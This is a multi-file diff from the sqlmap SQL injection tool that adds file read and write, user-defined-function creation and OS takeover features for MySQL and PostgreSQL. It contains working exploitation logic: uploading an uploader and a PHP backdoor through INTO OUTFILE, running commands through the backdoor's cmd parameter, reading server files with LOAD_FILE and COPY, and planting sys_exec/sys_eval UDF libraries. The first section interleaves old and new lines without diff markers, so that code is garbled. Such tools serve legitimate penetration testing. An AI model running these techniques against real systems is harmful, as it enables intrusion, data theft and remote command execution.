datadirSubstr = inject.getValue("SELECT MID(@@datadir, 1, 1)", unpack=False)
@todo: * Add a web application crawling functionality to detect
all (at least most) web server directories and merge with
Google results if the target host is a publicly available
hostname or IP address;
* Extend to all DBMS using their functionalities (UDF, stored
procedures, etc) to write files on the system or directly
execute commands on the system without passing by the agent;
* Automatically detect the web server available interpreters
parsing 'Server', 'X-Powered-By' and 'X-AspNet-Version' HTTP
response headers;
* Extend the agent to other interpreters rather than only PHP:
ASP, JSP, CGI (Python, Perl, Ruby, Bash).
"""
logMsg = "retrieving web application directories"
logger.info(logMsg)
directories = getDirectories()
if directories:
logMsg = "retrieved web server directories "
logMsg += "'%s'" % ", ".join(d for d in directories)
logger.info(logMsg)
message = "in addition you can provide a list of directories "
message += "absolute path comma separated that you want sqlmap "
message += "to try to upload the agent [/var/www/test]: "
inputDirs = readInput(message, default="/var/www/test")
if datadirSubstr == "/":
kb.os = "Linux"
else:
message = "please provide the web server document root [/var/www]: "
inputDocRoot = readInput(message, default="/var/www")
kb.os = "Windows"
if inputDocRoot:
kb.docRoot = inputDocRoot
else:
kb.docRoot = "/var/www"
infoMsg = "the back-end DBMS operating system is %s" % kb.os
logger.info(infoMsg)
message = "please provide a list of directories absolute path "
message += "comma separated that you want sqlmap to try to "
message += "upload the agent [/var/www/test]: "
inputDirs = readInput(message, default="/var/www/test")
if detailed == False:
self.cleanup(onlyFileTbl=True)
if inputDirs:
inputDirs = inputDirs.replace(", ", ",")
inputDirs = inputDirs.split(",")
return
for inputDir in inputDirs:
directories.add(inputDir)
self.cleanup(onlyFileTbl=True)
def unionReadFile(self, rFile):
infoMsg = "fetching file: '%s'" % rFile
logger.info(infoMsg)
result = inject.getValue("SELECT HEX(LOAD_FILE('%s'))" % rFile)
return result
def stackedReadFile(self, rFile):
infoMsg = "fetching file: '%s'" % rFile
logger.info(infoMsg)
self.createSupportTbl(self.fileTblName, self.tblField, "longtext")
self.getRemoteTempPath()
tmpFile = "%s/sqlmapfilehex%s" % (conf.tmpPath, randomStr(lowercase=True))
debugMsg = "saving hexadecimal encoded content of file '%s' " % rFile
debugMsg += "into temporary file '%s'" % tmpFile
logger.debug(debugMsg)
inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" % (rFile, tmpFile))
debugMsg = "loading the content of hexadecimal encoded file "
debugMsg += "'%s' into support table" % rFile
logger.debug(debugMsg)
inject.goStacked("LOAD DATA INFILE '%s' INTO TABLE %s FIELDS TERMINATED BY '%s' (%s)" % (tmpFile, self.fileTblName, randomStr(10), self.tblField))
length = inject.getValue("SELECT LENGTH(%s) FROM %s" % (self.tblField, self.fileTblName), sort=False, resumeValue=False, charsetType=2)
if not length.isdigit() or not len(length) or length in ( "0", "1" ):
errMsg = "unable to retrieve the content of the "
errMsg += "file '%s'" % rFile
raise sqlmapNoneDataException, errMsg
length = int(length)
sustrLen = 1024
if length > sustrLen:
result = []
for i in range(1, length, sustrLen):
chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, sustrLen, self.fileTblName), unpack=False, sort=False, resumeValue=False, charsetType=3)
result.append(chunk)
else:
directories.add("/var/www/test")
result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), sort=False, resumeValue=False, charsetType=3)
logMsg = "trying to upload the uploader agent"
logger.info(logMsg)
return result
directories = list(directories)
directories.sort()
uploaded = False
backdoorName = "backdoor.php"
backdoorPath = "%s/%s" % (paths.SQLMAP_SHELL_PATH, backdoorName)
uploaderName = "uploader.php"
uploaderStr = fileToStr("%s/%s" % (paths.SQLMAP_SHELL_PATH, uploaderName))
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
logger.debug("encoding file to its hexadecimal string value")
for directory in directories:
if uploaded:
break
fcEncodedList = self.fileEncode(wFile, "hex", True)
fcEncodedStr = fcEncodedList[0]
fcEncodedStrLen = len(fcEncodedStr)
# Upload the uploader agent
uploaderQuery = uploaderStr.replace("WRITABLE_DIR", directory)
query = " LIMIT 1 INTO OUTFILE '%s/%s' " % (directory, uploaderName)
query += "LINES TERMINATED BY '\\n%s\\n'--" % uploaderQuery
if kb.injPlace == "GET" and fcEncodedStrLen > 8000:
warnMsg = "the injection is on a GET parameter and the file "
warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
warnMsg += "bytes, this might cause errors in the file "
warnMsg += "writing process"
logger.warn(warnMsg)
query = agent.prefixQuery(" %s" % query)
query = agent.postfixQuery(query)
unionTest()
payload = agent.payload(newValue=query)
page = Request.queryPage(payload)
oldParamFalseCond = conf.paramFalseCond
conf.paramFalseCond = True
if kb.docRoot:
requestDir = directory.replace(kb.docRoot, "")
debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile)
logger.debug(debugMsg)
sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, dFile)
unionUse(sqlQuery, direct=True, unescape=False, nullChar="''")
conf.paramFalseCond = oldParamFalseCond
if confirm == True:
self.askCheckWrittenFile(wFile, dFile, fileType)
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
debugMsg = "creating a support table to write the hexadecimal "
debugMsg += "encoded file to"
logger.debug(debugMsg)
self.createSupportTbl(self.fileTblName, self.tblField, "longblob")
logger.debug("encoding file to its hexadecimal string value")
fcEncodedList = self.fileEncode(wFile, "hex", False)
debugMsg = "forging SQL statements to write the hexadecimal "
debugMsg += "encoded file to the support table"
logger.debug(debugMsg)
sqlQueries = self.fileToSqlQueries(fcEncodedList)
logger.debug("inserting the hexadecimal encoded file to the support table")
for sqlQuery in sqlQueries:
inject.goStacked(sqlQuery)
debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile)
logger.debug(debugMsg)
# Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html
inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile))
if confirm == True:
self.askCheckWrittenFile(wFile, dFile, fileType)
def udfInit(self):
self.getVersionFromBanner()
banVer = kb.bannerFp["dbmsVersion"]
dFile = None
wFile = paths.SQLMAP_UDF_PATH
lib = "libsqlmapudf%s" % randomStr(lowercase=True)
if kb.os == "Windows":
wFile += "/mysql/windows/lib_mysqludf_sys.dll"
libExt = "dll"
else:
wFile += "/mysql/linux/lib_mysqludf_sys.so"
libExt = "so"
for udf in ( "sys_exec", "sys_eval" ):
if udf in self.createdUdf:
continue
logger.info("checking if %s UDF already exist" % udf)
query = agent.forgeCaseStatement("(SELECT name FROM mysql.func WHERE name='%s' LIMIT 0, 1)='%s'" % (udf, udf))
exists = inject.getValue(query, resumeValue=False, unpack=False)
if exists == "1":
message = "%s UDF already exists, do you " % udf
message += "want to overwrite it? [y/N] "
output = readInput(message, default="N")
if output and output in ("y", "Y"):
self.udfToCreate.add(udf)
else:
requestDir = directory
self.udfToCreate.add(udf)
baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
page, _ = Request.getPage(url=uploaderUrl, direct=True)
if len(self.udfToCreate) > 0:
# On Windows
if kb.os == "Windows":
# On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0
if banVer >= "5.1.19":
if self.__basedir == None:
logger.info("retrieving MySQL base directory absolute path")
if "sqlmap backdoor uploader" not in page:
warnMsg = "unable to upload the uploader "
warnMsg += "agent on '%s'" % directory
logger.warn(warnMsg)
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir
self.__basedir = inject.getValue("SELECT @@basedir")
self.__basedir = os.path.normpath(self.__basedir.replace("\\", "/"))
continue
if re.search("^[\w]\:[\/\\\\]+", self.__basedir, re.I):
kb.os = "Windows"
logMsg = "the uploader agent has been successfully uploaded "
logMsg += "on '%s'" % directory
logger.info(logMsg)
# The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin
dFile = "%s/lib/plugin/%s.%s" % (self.__basedir, lib, libExt)
# Upload the backdoor through the uploader agent
multipartParams = {
"upload": "1",
"file": open(backdoorPath, "r"),
"uploadDir": directory,
}
uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
page = Request.getPage(url=uploaderUrl, multipart=multipartParams)
logger.warn("this will only work if the database administrator created manually the '%s/lib/plugin' subfolder" % self.__basedir)
if "Backdoor uploaded" not in page:
warnMsg = "unable to upload the backdoor through "
warnMsg += "the uploader agent on '%s'" % directory
logger.warn(warnMsg)
continue
uploaded = True
backdoorUrl = "%s/%s" % (baseUrl, backdoorName)
logMsg = "the backdoor has been successfully uploaded on "
logMsg += "'%s', go with your browser to " % directory
logMsg += "'%s' and enjoy it!" % backdoorUrl
logger.info(logMsg)
message = "do you want to use the uploaded backdoor as a "
message += "shell to execute commands right now? [Y/n] "
shell = readInput(message, default="Y")
if shell in ("n", "N"):
continue
logMsg = "calling OS shell. To quit type "
logMsg += "'x' or 'q' and press ENTER"
logger.info(logMsg)
autoCompletion(osShell=True)
while True:
command = None
try:
command = raw_input("$ ")
except KeyboardInterrupt:
print
errMsg = "user aborted"
logger.error(errMsg)
except EOFError:
print
errMsg = "exit"
logger.error(errMsg)
break
if not command:
continue
if command.lower() in ( "x", "q", "exit", "quit" ):
break
cmdUrl = "%s?cmd=%s" % (backdoorUrl, command)
page, _ = Request.getPage(url=cmdUrl, direct=True)
output = re.search("<pre>(.+?)</pre>", page, re.I | re.S)
if output:
print output.group(1)
# On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
# On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
else:
print "No output"
#logger.debug("retrieving MySQL data directory absolute path")
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir
#datadir = inject.getValue("SELECT @@datadir")
# NOTE: specifying the relative path as './udf.dll'
# saves in @@datadir on both MySQL 4.1 and MySQL 5.0
datadir = "."
datadir = os.path.normpath(datadir.replace("\\", "/"))
if re.search("[\w]\:\/", datadir, re.I):
kb.os = "Windows"
# The DLL can be in either C:\WINDOWS, C:\WINDOWS\system,
# C:\WINDOWS\system32, @@basedir\bin or @@datadir
dFile = "%s/%s.%s" % (datadir, lib, libExt)
# On Linux
else:
# The SO can be in either /lib, /usr/lib or one of the
# paths specified in /etc/ld.so.conf file, none of these
# paths are writable by mysql user by default
# TODO: test with plugins folder on MySQL >= 5.1.19
dFile = "/usr/lib/%s.%s" % (lib, libExt)
self.writeFile(wFile, dFile, "binary", False)
for udf, retType in ( ( "sys_exec", "int" ), ( "sys_eval", "string" ) ):
if udf in self.createdUdf:
continue
if udf in self.udfToCreate:
logger.info("creating %s UDF from the binary UDF file" % udf)
# Reference: http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html
inject.goStacked("DROP FUNCTION %s" % udf)
inject.goStacked("CREATE FUNCTION %s RETURNS %s SONAME '%s.%s'" % (udf, retType, lib, libExt))
else:
logger.debug("keeping existing %s UDF as requested" % udf)
self.createdUdf.add(udf)
self.envInitialized = True
debugMsg = "creating a support table to write commands standard "
debugMsg += "output to"
logger.debug(debugMsg)
self.createSupportTbl(self.cmdTblName, self.tblField, "longtext")
def uncPathRequest(self):
if kb.stackedTest == False:
query = agent.prefixQuery(" AND LOAD_FILE('%s')" % self.uncPath)
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
Request.queryPage(payload)
else:
inject.goStacked("SELECT LOAD_FILE('%s')" % self.uncPath, silent=True)

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
@@ -44,10 +44,11 @@ from lib.request.connect import Connect as Request
from plugins.generic.enumeration import Enumeration
from plugins.generic.filesystem import Filesystem
from plugins.generic.fingerprint import Fingerprint
from plugins.generic.misc import Miscellaneous
from plugins.generic.takeover import Takeover
class OracleMap(Fingerprint, Enumeration, Filesystem, Takeover):
class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
"""
This class defines Oracle methods
"""
@@ -55,7 +56,10 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Takeover):
def __init__(self):
self.excludeDbsList = ORACLE_SYSTEM_DBS
Enumeration.__init__(self, "Oracle")
Filesystem.__init__(self)
Takeover.__init__(self)
unescaper.setUnescape(OracleMap.unescape)
@@ -124,7 +128,7 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Takeover):
if wsOsFp:
value += "%s\n" % wsOsFp
if self.banner:
if kb.data.banner:
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
if dbmsOsFp:
@@ -157,7 +161,7 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Takeover):
if conf.dbms in ORACLE_ALIASES:
setDbms("Oracle")
self.getPrematureBanner("SELECT banner FROM v$version WHERE ROWNUM=1")
self.getBanner()
if not conf.extensiveFp:
return True
@@ -183,13 +187,13 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Takeover):
setDbms("Oracle")
self.getPrematureBanner("SELECT banner FROM v$version WHERE ROWNUM=1")
self.getBanner()
if not conf.extensiveFp:
return True
query = "SELECT SUBSTR((VERSION), 1, 2) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1"
version = inject.getValue(query)
version = inject.getValue(query, unpack=False)
if re.search("^11", version):
kb.dbmsVersion = ["11i"]
@@ -229,3 +233,39 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Takeover):
logger.warn(warnMsg)
return []
def readFile(self, rFile):
errMsg = "File system read access not yet implemented for "
errMsg += "Oracle"
raise sqlmapUnsupportedFeatureException, errMsg
def writeFile(self, wFile, dFile, fileType=None, confirm=True):
errMsg = "File system write access not yet implemented for "
errMsg += "Oracle"
raise sqlmapUnsupportedFeatureException, errMsg
def osCmd(self):
errMsg = "Operating system command execution functionality not "
errMsg += "yet implemented for Oracle"
raise sqlmapUnsupportedFeatureException, errMsg
def osShell(self):
errMsg = "Operating system shell functionality not yet "
errMsg += "implemented for Oracle"
raise sqlmapUnsupportedFeatureException, errMsg
def osPwn(self):
errMsg = "Operating system out-of-band control functionality "
errMsg += "not yet implemented for Oracle"
raise sqlmapUnsupportedFeatureException, errMsg
def osSmb(self):
errMsg = "One click operating system out-of-band control "
errMsg += "functionality not yet implemented for Oracle"
raise sqlmapUnsupportedFeatureException, errMsg

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
@@ -24,38 +24,50 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import os
import re
from lib.core.agent import agent
from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint
from lib.core.common import getHtmlErrorFp
from lib.core.common import getRange
from lib.core.common import randomInt
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths
from lib.core.exception import sqlmapNoneDataException
from lib.core.exception import sqlmapSyntaxException
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.session import setDbms
from lib.core.settings import PGSQL_ALIASES
from lib.core.settings import PGSQL_SYSTEM_DBS
from lib.core.unescaper import unescaper
from lib.request import inject
from lib.request.connect import Connect as Request
from lib.techniques.outband.stacked import stackedTest
from plugins.generic.enumeration import Enumeration
from plugins.generic.filesystem import Filesystem
from plugins.generic.fingerprint import Fingerprint
from plugins.generic.misc import Miscellaneous
from plugins.generic.takeover import Takeover
class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
"""
This class defines PostgreSQL methods
"""
def __init__(self):
self.excludeDbsList = PGSQL_SYSTEM_DBS
Enumeration.__init__(self, "PostgreSQL")
Filesystem.__init__(self)
Takeover.__init__(self)
unescaper.setUnescape(PostgreSQLMap.unescape)
@@ -124,7 +136,7 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
if wsOsFp:
value += "%s\n" % wsOsFp
if self.banner:
if kb.data.banner:
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
if dbmsOsFp:
@@ -161,13 +173,13 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
if conf.dbms in PGSQL_ALIASES:
setDbms("PostgreSQL")
self.getPrematureBanner("VERSION()")
self.getBanner()
if not conf.extensiveFp:
return True
logMsg = "testing PostgreSQL"
logger.info(logMsg)
infoMsg = "testing PostgreSQL"
logger.info(infoMsg)
randInt = str(randomInt(1))
@@ -175,8 +187,8 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
result = Request.queryPage(payload)
if result == True:
logMsg = "confirming PostgreSQL"
logger.info(logMsg)
infoMsg = "confirming PostgreSQL"
logger.info(infoMsg)
payload = agent.fullPayload(" AND COALESCE(%s, NULL)=%s" % (randInt, randInt))
result = Request.queryPage(payload)
@@ -189,39 +201,39 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
setDbms("PostgreSQL")
self.getPrematureBanner("VERSION()")
self.getBanner()
if not conf.extensiveFp:
return True
transTimeCasted = inject.getValue("SUBSTR(TRANSACTION_TIMESTAMP()::text, 1, 1)") in ( "1", "2" )
transTime = inject.getValue("SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)") in ( "1", "2" )
transTimeCasted = inject.getValue("SUBSTR(TRANSACTION_TIMESTAMP()::text, 1, 1)", unpack=False) in ( "1", "2" )
transTime = inject.getValue("SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)", unpack=False) in ( "1", "2" )
if transTimeCasted and not transTime:
kb.dbmsVersion = [">= 8.3.0"]
elif transTime:
kb.dbmsVersion = [">= 8.2.0", "< 8.3.0"]
elif inject.getValue("GREATEST(5, 9, 1)") == "9":
elif inject.getValue("GREATEST(5, 9, 1)", unpack=False) == "9":
kb.dbmsVersion = [">= 8.1.0", "< 8.2.0"]
elif inject.getValue("WIDTH_BUCKET(5.35, 0.024, 10.06, 5)") == "3":
elif inject.getValue("WIDTH_BUCKET(5.35, 0.024, 10.06, 5)", unpack=False) == "3":
kb.dbmsVersion = [">= 8.0.0", "< 8.1.0"]
elif inject.getValue("SUBSTR(MD5('sqlmap'), 1, 1)"):
elif inject.getValue("SUBSTR(MD5('sqlmap'), 1, 1)", unpack=False):
kb.dbmsVersion = [">= 7.4.0", "< 8.0.0"]
elif inject.getValue("SUBSTR(CURRENT_SCHEMA(), 1, 1)") == "p":
elif inject.getValue("SUBSTR(CURRENT_SCHEMA(), 1, 1)", unpack=False) == "p":
kb.dbmsVersion = [">= 7.3.0", "< 7.4.0"]
elif inject.getValue("BIT_LENGTH(1)") == "8":
kb.dbmsVersion = [">= 7.2.0", "< 7.3.0"]
elif inject.getValue("SUBSTR(QUOTE_LITERAL('a'), 2, 1)") == "a":
elif inject.getValue("SUBSTR(QUOTE_LITERAL('a'), 2, 1)", unpack=False) == "a":
kb.dbmsVersion = [">= 7.1.0", "< 7.2.0"]
elif inject.getValue("POW(2, 3)") == "8":
elif inject.getValue("POW(2, 3)", unpack=False) == "8":
kb.dbmsVersion = [">= 7.0.0", "< 7.1.0"]
elif inject.getValue("MAX('a')") == "a":
kb.dbmsVersion = [">= 6.5.0", "< 6.5.3"]
elif re.search("([\d\.]+)", inject.getValue("SUBSTR(VERSION(), 12, 5)")):
elif re.search("([\d\.]+)", inject.getValue("SUBSTR(VERSION(), 12, 5)", unpack=False)):
kb.dbmsVersion = [">= 6.4.0", "< 6.5.0"]
elif inject.getValue("SUBSTR(CURRENT_DATE, 1, 1)") == "2":
elif inject.getValue("SUBSTR(CURRENT_DATE, 1, 1)", unpack=False) == "2":
kb.dbmsVersion = [">= 6.3.0", "< 6.4.0"]
elif inject.getValue("SUBSTRING('sqlmap', 1, 1)") == "s":
elif inject.getValue("SUBSTRING('sqlmap', 1, 1)", unpack=False) == "s":
kb.dbmsVersion = [">= 6.2.0", "< 6.3.0"]
else:
kb.dbmsVersion = ["< 6.2.0"]
@@ -234,6 +246,44 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
return False
def checkDbmsOs(self, detailed=False):
if kb.os:
return
infoMsg = "fingerprinting the back-end DBMS operating system"
logger.info(infoMsg)
self.createSupportTbl(self.fileTblName, self.tblField, "character(500)")
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()"))
# Windows executables should always have ' Visual C++' or ' mingw'
# patterns within the banner
osWindows = ( " Visual C++", " mingw" )
for osPattern in osWindows:
query = "(SELECT LENGTH(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
query += "LIKE '%" + osPattern + "%')>0"
query = agent.forgeCaseStatement(query)
if inject.getValue(query, charsetType=1) == "1":
kb.os = "Windows"
break
if kb.os == None:
kb.os = "Linux"
infoMsg = "the back-end DBMS operating system is %s" % kb.os
logger.info(infoMsg)
if detailed == False:
self.cleanup(onlyFileTbl=True)
return
self.cleanup(onlyFileTbl=True)
def forceDbmsEnum(self):
if conf.db not in PGSQL_SYSTEM_DBS and conf.db != "public":
conf.db = "public"
@@ -243,3 +293,214 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
warnMsg += "sqlmap is going to use 'public' schema as "
warnMsg += "database name"
logger.warn(warnMsg)
def unionReadFile(self, rFile):
errMsg = "PostgreSQL does not support file reading with UNION "
errMsg += "query SQL injection technique"
raise sqlmapUnsupportedFeatureException, errMsg
def stackedReadFile(self, rFile):
# TODO: write a UDF to retrieve the hexadecimal encoded content of
# the requested file
warnMsg = "binary file read on PostgreSQL is not yet supported, "
warnMsg += "if the requested file is binary, its content will not "
warnMsg += "be retrieved"
logger.warn(warnMsg)
infoMsg = "fetching file: '%s'" % rFile
logger.info(infoMsg)
result = []
self.createSupportTbl(self.fileTblName, self.tblField, "bytea")
logger.debug("loading the content of file '%s' into support table" % rFile)
inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, rFile))
if kb.unionPosition:
result = inject.getValue("SELECT ENCODE(%s, 'base64') FROM %s" % (self.tblField, self.fileTblName), unpack=False, resumeValue=False, sort=False)
if not result:
result = []
count = inject.getValue("SELECT COUNT(%s) FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, charsetType=2)
if not count.isdigit() or not len(count) or count == "0":
errMsg = "unable to retrieve the content of the "
errMsg += "file '%s'" % rFile
raise sqlmapNoneDataException, errMsg
indexRange = getRange(count)
for index in indexRange:
chunk = inject.getValue("SELECT ENCODE(%s, 'base64') FROM %s OFFSET %d LIMIT 1" % (self.tblField, self.fileTblName, index), unpack=False, resumeValue=False, sort=False)
result.append(chunk)
return result
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
errMsg = "PostgreSQL does not support file upload with UNION "
errMsg += "query SQL injection technique"
raise sqlmapUnsupportedFeatureException, errMsg
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
wFileSize = os.path.getsize(wFile)
if wFileSize > 8192:
errMsg = "on PostgreSQL it is not possible to write files "
errMsg += "bigger than 8192 bytes at the moment"
raise sqlmapUnsupportedFeatureException, errMsg
self.oid = randomInt()
debugMsg = "creating a support table to write the base64 "
debugMsg += "encoded file to"
logger.debug(debugMsg)
self.createSupportTbl(self.fileTblName, self.tblField, "text")
logger.debug("encoding file to its base64 string value")
fcEncodedList = self.fileEncode(wFile, "base64", False)
debugMsg = "forging SQL statements to write the base64 "
debugMsg += "encoded file to the support table"
logger.debug(debugMsg)
sqlQueries = self.fileToSqlQueries(fcEncodedList)
logger.debug("inserting the base64 encoded file to the support table")
for sqlQuery in sqlQueries:
inject.goStacked(sqlQuery)
debugMsg = "create a new OID for a large object, it implicitly "
debugMsg += "adds an entry in the large objects system table"
logger.debug(debugMsg)
# References:
# http://www.postgresql.org/docs/8.3/interactive/largeobjects.html
# http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html
inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
inject.goStacked("SELECT lo_create(%d)" % self.oid)
debugMsg = "updating the system large objects table assigning to "
debugMsg += "the just created OID the binary (base64 decoded) UDF "
debugMsg += "as data"
logger.debug(debugMsg)
# Refereces:
# * http://www.postgresql.org/docs/8.3/interactive/catalog-pg-largeobject.html
# * http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql
#
# NOTE: From PostgreSQL site:
#
# "The data stored in the large object will never be more than
# LOBLKSIZE bytes and might be less which is BLCKSZ/4, or
# typically 2 Kb"
#
# As a matter of facts it was possible to store correctly a file
# large 13776 bytes, the problem arises at next step (lo_export())
inject.goStacked("UPDATE pg_largeobject SET data=(DECODE((SELECT %s FROM %s), 'base64')) WHERE loid=%d" % (self.tblField, self.fileTblName, self.oid))
debugMsg = "exporting the OID %s file content to " % fileType
debugMsg += "file '%s'" % dFile
logger.debug(debugMsg)
# NOTE: lo_export() exports up to only 8192 bytes of the file
# (pg_largeobject 'data' field)
inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile))
if confirm == True:
self.askCheckWrittenFile(wFile, dFile, fileType)
inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
def udfInit(self):
self.getVersionFromBanner()
banVer = kb.bannerFp["dbmsVersion"]
dFile = None
wFile = paths.SQLMAP_UDF_PATH
lib = "libsqlmapudf%s" % randomStr(lowercase=True)
if banVer >= "8.3":
majorVer = "8.3"
else:
majorVer = "8.2"
if kb.os == "Windows":
wFile += "/postgresql/windows/%s/lib_postgresqludf_sys.dll" % majorVer
libExt = "dll"
else:
wFile += "/postgresql/linux/%s/lib_postgresqludf_sys.so" % majorVer
libExt = "so"
for udf in ( "sys_exec", "sys_eval" ):
if udf in self.createdUdf:
continue
logger.info("checking if %s UDF already exist" % udf)
query = agent.forgeCaseStatement("(SELECT proname='%s' FROM pg_proc WHERE proname='%s' OFFSET 0 LIMIT 1)" % (udf, udf))
exists = inject.getValue(query, resumeValue=False, unpack=False)
if exists == "1":
message = "%s UDF already exists, do you " % udf
message += "want to overwrite it? [y/N] "
output = readInput(message, default="N")
if output and output in ("y", "Y"):
self.udfToCreate.add(udf)
else:
self.udfToCreate.add(udf)
if len(self.udfToCreate) > 0:
# On Windows
if kb.os == "Windows":
# The DLL can be in any folder where postgres user has
# read/write/execute access is valid
# NOTE: by not specifing any path, it will save into the
# data directory, on PostgreSQL 8.3 it is
# C:\Program Files\PostgreSQL\8.3\data.
dFile = "%s.%s" % (lib, libExt)
# On Linux
else:
# The SO can be in any folder where postgres user has
# read/write/execute access is valid
dFile = "/tmp/%s.%s" % (lib, libExt)
self.writeFile(wFile, dFile, "binary", False)
for udf, retType in ( ( "sys_exec", "int4" ), ( "sys_eval", "text" ) ):
if udf in self.createdUdf:
continue
if udf in self.udfToCreate:
logger.info("creating %s UDF from the binary UDF file" % udf)
# Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html
inject.goStacked("DROP FUNCTION %s" % udf)
inject.goStacked("CREATE OR REPLACE FUNCTION %s(text) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, retType, dFile, udf))
else:
logger.debug("keeping existing %s UDF as requested" % udf)
self.createdUdf.add(udf)
self.envInitialized = True
debugMsg = "creating a support table to write commands standard "
debugMsg += "output to"
logger.debug(debugMsg)
self.createSupportTbl(self.cmdTblName, self.tblField, "text")
def uncPathRequest(self):
self.createSupportTbl(self.fileTblName, self.tblField, "text")
inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, self.uncPath), silent=True)
self.cleanup(onlyFileTbl=True)

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
@@ -29,6 +29,7 @@ import re
from lib.core.agent import agent
from lib.core.common import getRange
from lib.core.common import parsePasswordHash
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
@@ -39,12 +40,14 @@ from lib.core.exception import sqlmapMissingMandatoryOptionException
